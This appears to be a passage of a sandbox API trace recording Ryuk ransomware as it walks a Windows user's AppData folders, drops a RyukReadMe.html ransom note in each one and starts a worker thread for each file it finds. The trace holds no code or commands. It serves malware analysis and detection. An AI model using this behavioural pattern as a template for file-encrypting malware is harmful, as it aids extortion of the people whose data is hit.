	[0224.236] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0224.236] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0224.237] SetLastError (dwErrCode=0x0) 
	[0224.237] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp9_0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0224.755] GetLastError () returned 0x0
	[0224.756] WriteFile (in: hFile=0x6d8, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0224.759] CloseHandle (hObject=0x6d8) returned 1
	[0224.760] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0224.761] SetLastError (dwErrCode=0x0) 
	[0224.761] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0224.761] GetLastError () returned 0xb7
	[0224.761] CloseHandle (hObject=0x6d8) returned 1
	[0224.762] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0225.436] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0225.436] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x1de, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1
	[0225.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b40000
	[0225.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744
	[0225.498] VirtualFree (lpAddress=0x8b40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.499] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d977900, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1
	[0225.499] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b40000
	[0225.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760
	[0225.503] VirtualFree (lpAddress=0x8b40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.504] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1
	[0225.504] SetLastError (dwErrCode=0x0) 
	[0225.504] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764
	[0225.506] GetLastError () returned 0x0
	[0225.506] WriteFile (in: hFile=0x764, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0225.509] CloseHandle (hObject=0x764) returned 1
	[0225.509] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0225.513] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0225.513] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="3LKBQZJ3", cAlternateFileName="")) returned 1
	[0225.513] SetLastError (dwErrCode=0x0) 
	[0225.516] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.516] GetLastError () returned 0x3
	[0225.516] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.516] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0225.516] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0225.517] SetLastError (dwErrCode=0x0) 
	[0225.517] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\3lkbqzj3\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.517] GetLastError () returned 0x3
	[0225.517] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.517] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.517] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="8NES5H33", cAlternateFileName="")) returned 1
	[0225.517] SetLastError (dwErrCode=0x0) 
	[0225.517] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.518] GetLastError () returned 0x3
	[0225.518] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.518] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0225.518] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0225.518] SetLastError (dwErrCode=0x0) 
	[0225.518] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.518] GetLastError () returned 0x3
	[0225.518] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.519] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="FKLUIDU0", cAlternateFileName="")) returned 1
	[0225.519] SetLastError (dwErrCode=0x0) 
	[0225.519] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.519] GetLastError () returned 0x3
	[0225.519] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.519] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0225.519] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0225.519] SetLastError (dwErrCode=0x0) 
	[0225.520] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\fkluidu0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.520] GetLastError () returned 0x3
	[0225.520] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.520] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.520] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x125db390, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x202, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0225.520] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b40000
	[0225.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768
	[0225.524] VirtualFree (lpAddress=0x8b40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.525] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 1
	[0225.525] SetLastError (dwErrCode=0x0) 
	[0225.525] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.525] GetLastError () returned 0x3
	[0225.525] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.526] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0225.526] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0225.526] SetLastError (dwErrCode=0x0) 
	[0225.526] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\owlvmzrc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.526] GetLastError () returned 0x3
	[0225.526] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.527] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 0
	[0225.527] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0225.527] SetLastError (dwErrCode=0x0) 
	[0225.527] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.527] GetLastError () returned 0x3
	[0225.527] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0225.527] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.527] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65d58120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65d58120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65d58120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x1de, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1
	[0225.528] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b40000
	[0225.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764
	[0225.791] VirtualFree (lpAddress=0x8b40000, dwSize=0x0, dwFreeType=0x8000) returned 1
